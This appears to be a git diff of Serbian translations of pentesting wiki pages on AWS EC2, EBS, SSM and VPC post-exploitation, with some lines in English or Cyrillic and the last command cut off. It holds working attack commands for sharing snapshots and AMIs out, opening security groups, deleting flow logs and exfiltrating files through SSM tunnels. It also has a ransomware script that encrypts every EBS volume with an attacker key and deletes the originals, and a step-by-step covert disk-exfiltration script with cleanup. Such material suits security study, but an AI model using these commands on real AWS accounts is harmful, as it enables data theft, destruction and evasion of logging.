 ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPC traffic mirroring **duplira dolazni i odlazni saobraćaj za EC2 instance unutar VPC** bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj bi obično bio poslat nečemu poput sistema za detekciju mrežnih upada (IDS) radi analize i nadgledanja.\
-Napadač bi mogao da iskoristi ovo da uhvati sav saobraćaj i dobije osetljive informacije iz njega:
+VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** bez potrebe da se bilo šta instalira na samim instancama. Ovaj duplicirani saobraćaj se obično šalje nečemu poput sistema za detekciju upada u mreži (IDS) radi analize i nadzora.\
+Napadač bi ovo mogao zloupotrebiti da presretne sav saobraćaj i pribavi osetljive informacije iz njega:
 
-Za više informacija proverite ovu stranicu:
+Za više informacija pogledajte ovu stranicu:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
 
 ### Copy Running Instance
 
-Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Međutim, drugi način da se proveri šta sadrži je da **napravite AMI i pokrenete novu instancu (čak i u svom nalogu) iz nje**:
+Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe u njih (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Međutim, drugi način da proverite šta sadrže je da **kreirate AMI i pokrenete novu instancu (čak i na svom nalogu) iz nje**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,20 +49,84 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Snapshots su backup-ovi volumena**, koji obično sadrže **osetljive informacije**, stoga njihovo proveravanje može otkriti te informacije.\
-Ako pronađete **volumen bez snimka**, možete: **Kreirati snimak** i izvršiti sledeće radnje ili jednostavno **montirati ga u instancu** unutar naloga:
+**Snapshots su rezervne kopije volume-a**, koje obično sadrže **osetljive informacije**, zato njihova provera treba da otkrije te informacije.\
+Ako pronađete **volume without a snapshot** možete: **Create a snapshot** i izvršiti sledeće radnje ili jednostavno **mount it in an instance** unutar naloga:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
+### Covert Disk Exfiltration via AMI Store-to-S3
+
+Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Ovo omogućava potpunu offline forenziku ili krađu podataka bez deljenja snapshot-a, ostavljajući instance networking netaknutim.
+
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
+
+### Live Data Theft via EBS Multi-Attach
+
+Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Korisno kada victim volume već ima Multi-Attach omogućen u istoj AZ.
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Daje brze puteve lateralnog kretanja bez otvaranja javnih portova.
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Omogućava zaobilaženje internih ACLs ili SG pravila vezanih za specifične adrese.
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs.
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration.
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
 ### Data Exfiltration
 
 #### DNS Exfiltration
 
-Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može izaći, još uvek može **izvršiti exfiltraciju putem DNS-a**.
+Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
 
-- **VPC Flow Logs neće ovo zabeležiti**.
+- **VPC Flow Logs will not record this**.
 - Nemate pristup AWS DNS logovima.
 - Onemogućite ovo postavljanjem "enableDnsSupport" na false sa:
 
@@ -70,32 +134,33 @@ aws-ebs-snapshot-dump.md
 
 #### Exfiltration via API calls
 
-Napadač može pozvati API krajnje tačke naloga koji kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrirane podatke u Cloudtrail logovima.
+An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
 
 ### Open Security Group
 
-Možete dobiti dalji pristup mrežnim uslugama otvaranjem portova na sledeći način:
+Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova na sledeći način:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS
 
-Moguće je pokrenuti EC2 instancu i registrovati je za korišćenje u pokretanju ECS instanci, a zatim ukrasti podatke iz ECS instanci.
+Moguće je pokrenuti EC2 instancu i registrovati je da se koristi za pokretanje ECS instanci, a zatim ukrasti podatke sa ECS instanci.
 
-Za [**više informacija proverite ovo**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+Za [**više informacija pogledajte ovo**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### Uklonite VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
 ### SSM Port Forwarding
 
-Required permissions:
+Zahtevane dozvole:
 
 - `ssm:StartSession`
 
-Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za preusmeravanje sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je preusmeravanje sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS klaster.
+Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za pivoting sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs.
+Jedan od scenarija gde je ovo korisno je pivoting sa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) na privatni EKS cluster.
 
 > Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
@@ -104,42 +169,42 @@ Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Dobijte privremene akreditive za Bastion EC2 AWS pomoću [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) skripte  
-4. Prenesite akreditive na svoju mašinu u `$HOME/.aws/credentials` datoteci kao `[bastion-ec2]` profil  
+3. Preuzmite privremene AWS kredencijale za Bastion EC2 pomoću skripte [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Prebacite kredencijale na sopstvenu mašinu u fajl `$HOME/.aws/credentials` kao profil `[bastion-ec2]`
 5. Prijavite se na EKS kao Bastion EC2:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Ažurirajte polje `server` u datoteci `$HOME/.kube/config` da pokazuje na `https://localhost`
+6. Ažurirajte polje `server` u datoteci `$HOME/.kube/config` da pokazuje na `https://localhost`  
 7. Kreirajte SSM tunel na sledeći način:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. Saobraćaj iz `kubectl` alata se sada prosleđuje kroz SSM tunel putem Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svog računara pokretanjem:
+Saobraćaj sa alata `kubectl` je sada prosleđen kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS clusteru sa svoje mašine pokretanjem:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Napomena da će SSL veze propasti osim ako ne postavite `--insecure-skip-tls-verify` zastavicu (ili njen ekvivalent u K8s alatima za reviziju). S obzirom na to da je saobraćaj tunelovan kroz sigurni AWS SSM tunel, zaštićeni ste od bilo kakvih MitM napada.
+Imajte na umu da će SSL konekcije propasti osim ako ne postavite `--insecure-skip-tls-verify ` flag (ili njegov ekvivalent u K8s audit alatima). Pošto se saobraćaj tuneluje kroz siguran AWS SSM tunnel, zaštićeni ste od bilo koje vrste MitM napada.
 
-Na kraju, ova tehnika nije specifična za napad na privatne EKS klastere. Možete postaviti proizvoljne domene i portove da se prebacite na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju.
+Na kraju, ova tehnika nije specifična samo za napad na privatne EKS klastere. Možete podesiti proizvoljne domene i portove kako biste se povezali sa bilo kojom drugom AWS uslugom ili prilagođenom aplikacijom.
 
 ---
 
-#### Brzo lokalno ↔️ daljinsko prosleđivanje portova (AWS-StartPortForwardingSession)
+#### Brzo lokalno ↔️ udaljeno Port Forward (AWS-StartPortForwardingSession)
 
-Ako vam je potrebno da prosledite **jedan TCP port sa EC2 instance na vaš lokalni host**, možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar daljinskog hosta):
+Ako treba da prosledite samo **jedan TCP port sa EC2 instance na vaš lokalni host** možete koristiti `AWS-StartPortForwardingSession` SSM dokument (nije potreban parametar udaljenog hosta):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i odabranog porta (`portNumber`) na instanci **bez otvaranja bilo kakvih pravila za ulazne Security-Group**.
+Komanda uspostavlja dvosmerni tunel između vaše radne stanice (`localPortNumber`) i izabranog porta (`portNumber`) na instanci **bez otvaranja bilo kojih ulaznih Security-Group pravila**.
 
 Uobičajeni slučajevi upotrebe:
 
-* **Ekstrakcija fajlova**
-1. Na instanci pokrenite brzi HTTP server koji pokazuje na direktorijum koji želite da ekstraktujete:
+* **File exfiltration**
+1. Na instanci pokrenite kratak HTTP server koji pokazuje na direktorijum koji želite da exfiltrate:
 
 ```bash
 python3 -m http.server 8000
@@ -151,7 +216,7 @@ python3 -m http.server 8000
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **Pristupanje internim web aplikacijama (npr. Nessus)**
+* **Pristupanje unutrašnjim web aplikacijama (npr. Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -159,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Savjet: Kompresujte i enkriptujte dokaze prije nego što ih izvučete kako CloudTrail ne bi zabeležio sadržaj u čistom tekstu:
+Savet: Kompresujte i enkriptujte dokaze pre exfiltrating-a tako da CloudTrail ne beleži clear-text content:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
 ```
-### Podelite AMI
+### Deljenje AMI
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### Pretraživanje osetljivih informacija u javnim i privatnim AMI-ima
+### Pretražite osetljive informacije u javnim i privatnim AMIs
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat dizajniran za **pretraživanje osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljanih AMI-a, montiranja njihovih volumena i skeniranja za potencijalne tajne ili osetljive podatke.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat dizajniran da **pretražuje osetljive informacije unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instances iz ciljnih AMIs, montiranja njihovih volumes i skeniranja za potencijalne secrets ili osetljive podatke.
 
-### Podeli EBS Snapshot
+### Podelite EBS Snapshot
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-Dokaz koncepta sličan demonstraciji Ransomware prikazanoj u beleškama o post-exploitation za S3. KMS bi trebao biti preimenovan u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga.
+Proof of concept sličan Ransomware demonstraciji prikazanoj u S3 post-exploitation beleškama. KMS treba preimenovati u RMS (Ransomware Management Service) s obzirom na to koliko je lako koristiti ga za enkriptovanje različitih AWS servisa.
 
-Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim' i pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption'
+Prvo iz 'attacker' AWS naloga, kreirajte customer managed key u KMS. Za ovaj primer pustićemo da AWS upravlja podacima ključa, ali u realističnom scenariju malicious actor bi zadržao podatke ključa van AWS kontrole. Promenite key policy da dozvoli bilo kom AWS account Principal-u da koristi ključ. Za ovu key policy, ime naloga je bilo 'AttackSim', a policy pravilo koje dozvoljava potpuni pristup se zove 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +337,7 @@ Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS
 ]
 }
 ```
-Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se omogućila upotreba za enkripciju EBS volumena:
+The key policy правило мора имати омогућене следеће ставке да би се могло користити за encrypt EBS волумен:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +345,21 @@ Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se om
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Sada, sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koji ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. EBS volumeni ovog 'žrtvinog' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama AWS-a.
+Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije povezanih EBS volumena koristeći snimke, koristiti javno dostupni ključ iz 'napadačkog' računa za enkripciju novih EBS volumena, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, a zatim konačno obrisati snimke korišćene za kreiranje novonastalih enkriptovanih EBS volumena. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Slično S3 ransomware примеру. Овај напад ће направити копије attached EBS волумена користећи snapshots, искористити јавно доступан key из 'attacker' налога да encrypt нове EBS волумене, затим detach-овати оригиналне EBS волумене са EC2 инстанци и обрисати их, и на крају обрисати snapshot-ове који су коришћени за креирање ново encrypt-ованих EBS волумена. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-To rezultira time da su u računu ostali samo enkriptovani EBS volumeni.
+Као резултат, у налогу остају доступни само encrypted EBS волумени.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Takođe je važno napomenuti da je skripta zaustavila EC2 instance kako bi odvojila i obrisala originalne EBS volumene. Originalni neenkriptovani volumeni su sada nestali.
+Врeдно за напоменути: скрипта је зауставила EC2 инстанце да би detach-овала и обрисала оригиналне EBS волумене. Оригинални unencrypted волумени сада више не постоје.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite pravilo politike 'Outside Encryption' iz politike ključa.
+Zatim se vratite na key policy u 'attacker' nalogu i uklonite 'Outside Encryption' policy rule из key policy-а.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +430,15 @@ Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite prav
 ]
 }
 ```
-Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovni' nalog i pokušajte da priključite jedan od novokodiranih EBS volumena. Otkrivaćete da možete da priključite volumen.
+Sačekajte trenutak da nova politika ključa postane aktivna. Zatim se vratite na 'victim' account i pokušajte da prikačite jedan od novo-enkriptovanih EBS volumes. Videćete da možete da prikačite volumen.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Ali kada pokušate da zapravo pokrenete EC2 instancu sa kodiranim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključen EBS volumen ne može dekriptovati koristeći ključ, jer politika ključeva više to ne dozvoljava.
+Međutim, kada pokušate stvarno da pokrenete EC2 instance sa enkriptovanim EBS volumenom, on će samo neuspešno pokušati i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, jer prikačeni EBS volumen ne može biti dekriptovan pomoću ključa pošto politika ključa više ne dozvoljava to.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovni' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS nalogu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovnom' nalogu. KORISTITE OVU SKRIPTU SAMO U TESTNOM OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC za ransomware na kraju dana.
+Ovo je python skript koji se koristi. Prima AWS creds za 'victim' account i javno dostupnu AWS ARN vrednost za ključ koji će biti korišćen za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumes prikačenih na SVE EC2 instance u ciljanom AWS accountu, zatim zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumes, obrisati ih, i na kraju obrisati sve snapshots korišćene tokom procesa. To će ostaviti samo enkriptovane EBS volumes u ciljanom 'victim' accountu. KORISTITE OVAJ SKRIPT SAMO U TEST OKRUŽENJU, ON JE DESTRUKTIVAN I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS key i vratiti ih u originalno stanje preko snapshots, ali želim da vas upozorim da je ovo, na kraju dana, ransomware PoC.
 ```
 import boto3
 import argparse
@@ -490,8 +555,8 @@ delete_snapshots(ec2_client, snapshot_ids)
 if __name__ == "__main__":
 main()
 ```
-## Reference
+## Literatura
 
-- [Pentest Partners – Kako preneti fajlove u AWS koristeći SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md

@@ -0,0 +1,137 @@
+# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+Abuse EC2 AMI export-to-S3 to exfiltrate the full disk of an EC2 instance as a single raw image stored in S3, then download it out-of-band. This avoids snapshot sharing and produces one object per AMI.
+
+## Requirements
+- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` on the target instance/AMI
+- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
+- KMS decrypt on the key that protects the AMI snapshots (if EBS default encryption is enabled)
+- S3 bucket policy that trusts the `vmie.amazonaws.com` service principal (see below)
+
+## Impact
+- Potpuno offline pribavljanje root diska instance u S3 bez deljenja snapshot-ova ili kopiranja između naloga.
+- Omogućava stealth forensics nad credential-ima, konfiguracijom i sadržajem fajl sistema iz eksportovane raw slike.
+
+## How to Exfiltrate via AMI Store-to-S3
+
+- Napomene:
+- S3 bucket mora biti u istoj Region kao AMI.
+- U `us-east-1`, `create-bucket` ne sme uključivati `--create-bucket-configuration`.
+- `--no-reboot` pravi crash-consistent image bez zaustavljanja instance (diskretnije, ali manje konzistentno).
+
+<details>
+<summary>Step-by-step commands</summary>
+```bash
+# Vars
+REGION=us-east-1
+INSTANCE_ID=<i-victim>
+BUCKET=exfil-ami-$(date +%s)-$RANDOM
+
+# 1) Create S3 bucket (same Region)
+if [ "$REGION" = "us-east-1" ]; then
+aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
+else
+aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
+fi
+
+# 2) (Recommended) Bucket policy to allow VMIE service to write the object
+ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+cat > /tmp/bucket-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVMIEPut",
+"Effect": "Allow",
+"Principal": {"Service": "vmie.amazonaws.com"},
+"Action": [
+"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
+"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
+],
+"Resource": [
+"arn:aws:s3:::$BUCKET",
+"arn:aws:s3:::$BUCKET/*"
+],
+"Condition": {
+"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
+"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
+}
+}
+]
+}
+POL
+aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
+
+# 3) Create an AMI of the victim (stealthy: do not reboot)
+AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
+
+# 4) Wait until the AMI is available
+aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
+
+# 5) Store the AMI to S3 as a single object (raw disk image)
+OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
+
+echo "Object in S3: s3://$BUCKET/$OBJKEY"
+
+# 6) Poll the task until it completes
+until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
+aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
+--query StoreImageTaskResults[0].StoreTaskState --output text
+sleep 10
+done
+
+# 7) Prove access to the exported image (download first 1MiB)
+aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
+aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
+ls -l /tmp/ami.bin
+
+# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
+aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
+for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
+--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
+aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
+done
+aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
+aws s3 rb "s3://$BUCKET" --force --region "$REGION"
+```
+</details>
+
+## Primer dokaza
+
+- `describe-store-image-tasks` prelazi:
+```text
+InProgress
+Completed
+```
+- Metapodaci S3 objekta (primer):
+```json
+{
+"AcceptRanges": "bytes",
+"LastModified": "2025-10-08T01:31:46+00:00",
+"ContentLength": 399768709,
+"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
+"ContentType": "application/octet-stream",
+"ServerSideEncryption": "AES256",
+"Metadata": {
+"ami-name": "exfil-1759887010",
+"ami-owner-account": "<account-id>",
+"ami-store-date": "2025-10-08T01:31:45Z"
+}
+}
+```
+- Delimično preuzimanje dokazuje pristup objektu:
+```bash
+ls -l /tmp/ami.bin
+# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
+```
+## Potrebne IAM dozvole
+
+- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
+- S3 (na export bucketu): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
+- KMS: Ako su AMI snapshots šifrovani, dozvoliti `Decrypt` za EBS KMS key koji se koristi za snapshots
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md

@@ -0,0 +1,77 @@
+# AWS - Krađa podataka u realnom vremenu putem EBS Multi-Attach
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sažetak
+Zloupotrebite EBS Multi-Attach da čitate sa aktivnog io1/io2 data volumena prikačivanjem istog volumena na instancu pod kontrolom napadača u istoj Availability Zone (AZ). Montiranje deljenog volumena kao read-only daje trenutni pristup fajlovima koji se upotrebljavaju bez kreiranja snapshots.
+
+## Zahtevi
+- Ciljni volume: io1 ili io2 kreiran sa `--multi-attach-enabled` u istoj AZ kao i instanca napadača.
+- Dozvole: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` na ciljni volume/instance.
+- Infrastruktura: Nitro-based instance types koje podržavaju Multi-Attach (C5/M5/R5 families, etc.).
+
+## Napomene
+- Montirajte kao read-only sa `-o ro,noload` da smanjite rizik od korupcije i izbegnete journal replays.
+- Na Nitro instancama EBS NVMe uređaj izlaže stabilan `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` put (pomoć ispod).
+
+## Pripremite Multi-Attach io2 volume i prikačite ga žrtvi
+
+Primer (kreirajte u `us-east-1a` i prikačite žrtvi):
+```bash
+AZ=us-east-1a
+# Create io2 volume with Multi-Attach enabled
+VOL_ID=$(aws ec2 create-volume \
+--size 10 \
+--volume-type io2 \
+--iops 1000 \
